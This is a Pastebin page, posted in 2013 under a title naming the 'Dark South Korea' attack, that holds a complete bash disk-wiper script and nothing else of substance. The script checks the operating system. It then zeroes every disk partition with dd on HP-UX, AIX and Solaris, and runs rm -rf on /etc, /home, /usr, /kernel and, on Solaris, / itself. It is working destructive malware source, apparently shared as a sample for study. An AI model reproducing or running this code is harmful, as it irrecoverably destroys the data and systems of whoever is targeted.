SHARE
TWEET

"~pr1.tmp" Dark South Korea

eromang Apr 7th, 2013 202 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2.  
  3. WHICH=`which which`
  4. UNAME=`$WHICH uname`
  5. SLEEP=`$WHICH sleep`
  6. DATE=`$WHICH date`
  7. CAT=`$WHICH cat`
  8. RM=`$WHICH rm`
  9. DD=`$WHICH dd`
  10. KILL=`$WHICH kill`
  11.  
  12. dd_for_hp()
  13. {
  14.     DISK=`strings -v /etc/lvmtab|grep -v vg`
  15.    
  16.     for DISK_PART in $DISK
  17.     do
  18.         $DD if=/dev/zero of=$DISK_PART bs=8192000 &
  19.     done
  20. }
  21.  
  22. dd_for_aix()
  23. {
  24.     DISK=`lsp | awk '{print $1}'`
  25.  
  26.     for DISK_PART in $DISK
  27.     do
  28.         $DD if=/dev/zero of=/dev/$DISK_PART bs=10M &
  29.     done
  30. }
  31.  
  32. dd_for_sun()
  33. {
  34.     rm -rf /kernel/ &
  35.     rm -rf /usr/adm/ &
  36.     rm -rf /etc/ &
  37.     rm -rf /home/ &
  38.     rm -rf / &
  39.     PRTTOC=`$WHICH prtvtoc`
  40.     DISK=`ls /dev/dsk | grep s2`
  41.  
  42.     for DISK_PART in $DISK
  43.     do
  44.         mnt_info=`$PRTTOC /dev/dsk/$DISK_PART | grep Mount`
  45.  
  46.         if [ `expr "$mnt_info" : '.*'` -gt 0 ]
  47.             then
  48.                 $DD if=/dev/zero of=/dev/dsk/$DISK_PART bs=81920k &
  49.             fi
  50.     done
  51. }
  52.  
  53. dd_for_linux()
  54. {
  55.     rm -rf /kernel/ &
  56.     rm -rf /usr/ &
  57.     rm -rf /etc/ &
  58.     rm -rf /home/ &
  59. }
  60.  
  61. SYSTYPE=`$UNAME -s`
  62. if [ $SYSTYPE = "SunOS" ]
  63. then
  64.     dd_for_sun
  65. elif [ $SYSTYPE = "AIX" ]
  66. then
  67.     dd_for_aix
  68. elif [ $SYSTYPE = "HP-UX" ]
  69. then
  70.     dd_for_hp
  71. elif [ $SYSTYPE = "Linux" ]
  72. then
  73.     dd_for_linux
  74. else
  75.     exit
  76. fi
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top